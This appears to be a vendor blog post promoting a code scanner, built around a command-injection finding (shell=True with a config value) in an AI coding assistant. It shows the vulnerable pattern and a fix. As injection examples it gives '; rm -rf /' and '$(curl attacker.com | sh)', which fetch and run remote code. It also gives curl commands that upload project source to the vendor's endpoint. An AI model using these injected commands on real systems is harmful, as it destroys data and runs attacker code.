I found a COMMAND_INJECTION in a 25k ⭐ AI coding assistant (in 3 seconds)

Last week I scanned serena — a popular AI coding assistant with 25k ⭐.

[BLOCK] COMMAND_INJECTION  agent.py:1222
subprocess.Popen(cmd, shell=True)
→ config value → arbitrary shell execution

The scan took 3 seconds. The bug had been in the repo for months.

What COMMAND_INJECTION looks like in AI code

# AI generates this pattern constantly
def run_command(user_config: dict):
    cmd = f"git {user_config['args']}"
    subprocess.Popen(cmd, shell=True)  # BLOCK: arbitrary shell execution

Any config value becomes arbitrary shell execution. ; rm -rf / works. $(curl attacker.com | sh) works.

The fix is one line:

subprocess.run(["git"] + user_config["args"].split(), shell=False)

But AI doesn't make that fix by default. It generates the dangerous version because shell=True appears everywhere in training data.

Why this slips past reviewers

• It looks intentional (sometimes shell=True is legitimate)
• The function name is run_command — of course it runs commands
• No obvious user input path visible at the call site

The actual input path is 3 function calls deep. Static analysis finds it immediately.

Scan your repo

# Scan a single file
curl -X POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan \
  -H "X-API-Key: vg_free_test" \
  -F "[email protected]"

# Scan a zip of your whole project
zip -r project.zip src/
curl -X POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan \
  -H "X-API-Key: vg_free_test" \
  -F "[email protected]"

48 patterns, 9 languages. Free key: vg_free_test

GitHub Action: Moonsehwan/aina-vibeguard-action@v1